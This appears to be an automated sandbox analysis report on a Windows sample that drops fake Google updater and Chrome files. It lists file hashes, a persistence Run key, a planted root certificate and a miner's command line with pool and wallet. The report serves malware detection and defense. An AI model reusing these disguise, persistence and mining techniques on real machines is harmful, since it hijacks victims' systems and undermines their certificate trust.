Analysis
- max time kernel
150s - max time network
125s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/10/2026, 02:20
Static task
static1
1 signatures
Behavioral task
behavioral1
Sample
c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd.exe
Resource
win10v2004-20260911-en
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd.exe
Resource
win11ltsc2024-20260911-en
5 signatures
150 seconds
General
- Target c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd.exe
- Size 21.4MB
- Sample261004-csptsstsbw
- SHA256 c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd
- MD5 a5e3b490794b7f493344abcc70664c23
- SHA1 492c5ba9f1daa3f091da4a1bdaf48cb4bdebabb1
- SHA512 8aff67c97010eee03d53788f8af32786cd6fb8cc339bd18a9a21de10f3bbc8c4a46ea60b353e17b657e2a08f3ce087b358bb85a303af1a6e3db2e639346ede72
- SSDEEP 393216:StWizKEZR8I/WupmBOm+V5ZU8fci08zDEWf1uKfcKO3TCxv9:UWiuEZbDyO7V5ZUqcidz4Wdu1KOjk9
- TLSH T19637024C736DB291F14F8E3DEC2894DECE4A687AE1603A0E606DDD2B3511BE5519EBC0
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
7/10
Malware Config
Signatures
- Executes dropped EXE 6 IoCs
pid Process 2632 googleupdater.exe 5812 crashpad_handler.exe 832 chrome.exe 2780 googleupdater.exe 5232 chrome.exe 4452 chrome.exe - Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\GoogleUpdateCore = "\"C:\\ProgramData\\Google\\Update\\uwcb7udt\\googleupdater.exe\" /run" googleupdater.exe Set value (str) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\GoogleUpdateCore = "\"C:\\ProgramData\\Google\\Update\\uwcb7udt\\googleupdater.exe\" /run" googleupdater.exe - Modifies system certificate store 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\SystemCertificates\AuthRoot\Certificates\44BEF16C760B78D609E9CFB081F140B0EC05CEC4 googleupdater.exe Set value (data) \REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\SystemCertificates\AuthRoot\Certificates\44BEF16C760B78D609E9CFB081F140B0EC05CEC4\Blob = 03000000010000001400000044bef16c760b78d609e9cfb081f140b0ec05cec4200000000100000079030000308203753082025da003020102020900b5ef1ae8fe77f59a300d06092a864886f70d01010b05003058310b300906035504061302555331133011060355040a130a476f6f676c65204c4c43313430320603550403132b476f6f676c652054727573742053657276696365733a2057696e646f777320434120475453205234204731301e170d3236303932393133343432385a170d3436303933303133343432385a3058310b300906035504061302555331133011060355040a130a476f6f676c65204c4c43313430320603550403132b476f6f676c652054727573742053657276696365733a2057696e646f77732043412047545320523420473130820122300d06092a864886f70d01010105000382010f003082010a0282010100e311f89cb33e1149838a4655366b1a6386d139d5403520e34f5168cfcea0a4d2bd9806112fa6ffe3fc7241aa54709952a182109b09cc31eba847e8efbc2bd7d0ad7dac8d6554bda903f6c406b2ba04c114b3b1759f8fa3f620daa7b6ac94d71f055666f0fa77453a0cbda61e19a494dddd685869e03da9d8214573060e88678603a6ee8f6a00352e2309c490eace0e86196c7ea61b0e91b1599f8f3a3591c58073773f885458c0d20b211b3985692989e5fa44a1626c8d8ca28926eacf9ec3ec54a54d11bb7b4d04d3a0f8d0a48ef3990a9212d9247b5c6f9633d0339511fea79459582c8f6112370548070774f99eeadd92617f92a386152c7844199fb116590203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414bbc17a85f4f06bd41533688dac8b64da7fbaab99300d06092a864886f70d01010b0500038201010047d60936987e787ba6295c1d9581c0b1777d364de16737824b756b4345474191e3d78346247013d85f61d02f4237989c562e3b3e5d9fc9bfb26261091fae9925cf02d7094cae50a6acbedc47a05b1c02b8ebdd983ac3eb347324f32dbe5f9e30c71507c9c49b585011d889f59e9e52ffd8e39cdfcc805738c3d9d6e29638fd16540ad5eb849b0dd6a00924960884fcc1bd2f9277bfa4b20a1bab598d083c030a33f37e63d36b3b2f7a0f9cb9ca181e228928425c0e578dc61b5a1aa07d57207bc90909d2b73d800b44737fa2274559c5de6b5acb647105f85e36c5b22b86e896bb1208084d229bac5dbef4db6fa1f288744c3f1772fc0d73fe388919a02c5ee8 googleupdater.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2632 googleupdater.exe 2632 googleupdater.exe 2632 googleupdater.exe 2632 googleupdater.exe 2632 googleupdater.exe 2632 googleupdater.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe 5812 crashpad_handler.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 2552 wrote to memory of 2632 2552 c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd.exe 89 PID 2632 wrote to memory of 5812 2632 googleupdater.exe 91 PID 2632 wrote to memory of 832 2632 googleupdater.exe 93 PID 2780 wrote to memory of 5232 2780 googleupdater.exe 96 PID 5812 wrote to memory of 4452 5812 crashpad_handler.exe 97
Processes
-
C:\Users\Admin\AppData\Local\Temp\c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd.exe"C:\Users\Admin\AppData\Local\Temp\c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2552 -
C:\ProgramData\Google\Update\uwcb7udt\googleupdater.exe"C:\ProgramData\Google\Update\uwcb7udt\googleupdater.exe" /install22⤵
- Executes dropped EXE
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\ProgramData\Google\Update\uwcb7udt\crashpad_handler.exe"C:\ProgramData\Google\Update\uwcb7udt\crashpad_handler.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5812 -
C:\ProgramData\Google\Update\uwcb7udt\chrome.exe"C:\ProgramData\Google\Update\uwcb7udt\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1ppumvvwwskhqms04q3h3jlqd7rprr2qu8qklls623hn3mkmlrc38sagsswl.EOIKPOMQY4⤵
- Executes dropped EXE
PID:4452
-
-
-
C:\ProgramData\Google\Update\uwcb7udt\chrome.exe"C:\ProgramData\Google\Update\uwcb7udt\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1ppumvvwwskhqms04q3h3jlqd7rprr2qu8qklls623hn3mkmlrc38sagsswl.EOIKPOMQY3⤵
- Executes dropped EXE
PID:832
-
-
-
C:\ProgramData\Google\Update\uwcb7udt\googleupdater.exe"C:\ProgramData\Google\Update\uwcb7udt\googleupdater.exe" /run1⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:2780 -
C:\ProgramData\Google\Update\uwcb7udt\chrome.exe"C:\ProgramData\Google\Update\uwcb7udt\chrome.exe" --algorithm pearlhash --pool prl.kryptex.network:7048 --wallet prl1ppumvvwwskhqms04q3h3jlqd7rprr2qu8qklls623hn3mkmlrc38sagsswl.EOIKPOMQY2⤵
- Executes dropped EXE
PID:5232
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\ProgramData\Google\Update\uwcb7udt\chrome.dll
- Size 220KB
- SHA256 2ac38a14351b57bdaab37e843e1d66110e14ff7894e76f303117f79f0b79656b
- MD5 413d4d30511e781849442fc910f6d851
- SHA1 b4fd9456bc7b985e5c94e4d374804829e552759f
- SHA512 dc78e76f7cb6aeb7a865e6201dfaff89387f55a8473eaa7b81c6723b86a99f54a45e44be47fc114645a83030747704f8bf1d13799e3fe2b05f27cdda81697adc
- SSDEEP 384:KgAXc8w6JS5Mge/4PCpbwjwIveE7s41//LVIQEmfJwyhArDpFD7BXQhOIRD1/WoE:KitbO8kIh7ZJI6iyCfr5Q582jCiXDUR
- TLSH T15D24BF8E32B3A8B9C54AC235D1D7C772AEB0BC412E2A673C8160D3B50E325D9163D91B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Google\Update\uwcb7udt\chrome.exe
- Size 142KB
- SHA256 6fc84d28b0e79eb1548012ed6a54e55dd4be9ab7c97a83dead15489b05eb30f2
- MD5 508d774b9cdc6b0ca65496ec782c6ca9
- SHA1 d051c409233da170b3c1387686c6c9057b0a0ac9
- SHA512 61096e175ad0996e73734c482c4fd4dfd1da56dfd85a0bbeb9b038e378f83a86bb4886801a9714dbaf28dd09da04ae52803e5e840e2a469ff3697ec6c199dadc
- SSDEEP 3072:QDV8nmGvFzmgWateIGT5hiclVLwixN8yoovlVcomQcg5NDi:mIma9t3GT5pgJDa
- TLSH T169E36C0AF78360FEC247C1305597A7B0F931BC604734AE3F96A0D6793D31D25AA98B66
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Google\Update\uwcb7udt\crashpad_handler.exe
- Size 140KB
- SHA256 52c424451895c286ee1494867668cf8d98b8e9014410392b11bd1958e5e55317
- MD5 ccdf37f99471c0f834c0f8f47dc3312f
- SHA1 e6f7ac9b913947d86d5b7d4ad46ad5826a506f71
- SHA512 c177c87a4cf5b747a93f504ca67855606715ab1cbfd1b734647fc4c02c79629abf72241e27c80f9a4a42bc3bd39ce4333a154fd33f6f37f1adb185d812c474b3
- SSDEEP 3072:X/j1IzNzhg36MkIDRu+oGFo7comQuqyuXDy:71421gbSDUB
- TLSH T19CE33B1BF38350EEC257C13059ABA771F931BC6407349E3E96A0D6B93D30D296998B62
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Google\Update\uwcb7udt\googleupdater.exe
- Size 21.4MB
- SHA256 c33bd3ffce08f04552e17b177d6df4f0b0600048f4f158f35c2f46f68c930edd
- MD5 a5e3b490794b7f493344abcc70664c23
- SHA1 492c5ba9f1daa3f091da4a1bdaf48cb4bdebabb1
- SHA512 8aff67c97010eee03d53788f8af32786cd6fb8cc339bd18a9a21de10f3bbc8c4a46ea60b353e17b657e2a08f3ce087b358bb85a303af1a6e3db2e639346ede72
- SSDEEP 393216:StWizKEZR8I/WupmBOm+V5ZU8fci08zDEWf1uKfcKO3TCxv9:UWiuEZbDyO7V5ZUqcidz4Wdu1KOjk9
- TLSH T19637024C736DB291F14F8E3DEC2894DECE4A687AE1603A0E606DDD2B3511BE5519EBC0
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\Google\Update\uwcb7udt\nvidia-smi.exe
- Size 16KB
- SHA256 6e12ec7d12159562ab3d4d6e8d50c58bdff3b2122ee6eef48ce76ced7216c45a
- MD5 7b5a8eb3d5be2314001266e0b4bfc3f3
- SHA1 f939cbd0d26fca6c111a431b81e237a90638fe6e
- SHA512 f620b128bb6cbd156a0d4142f4549075153edc29688617892a6519245105ab48ed48f2489453f4db0c12f1c49defacee187f7066fd318e907016a1c1cb6daf31
- SSDEEP 192:Po/udw/A9jHq8EuU6C2J7LfyRfnBNEtwBLKSdkC9jtmOxILw0LQC/0LQC1vV5yZU:Bu/AVHq81gBmhOjtmAILhbobHUm9
- TLSH T1FC72A54E670388F9C56A82B4A0EB9B31BD70BC610C74573E86B0E6B51F349D05A7A71B
- MD5 SHA1 SHA512 SSDEEP TLSH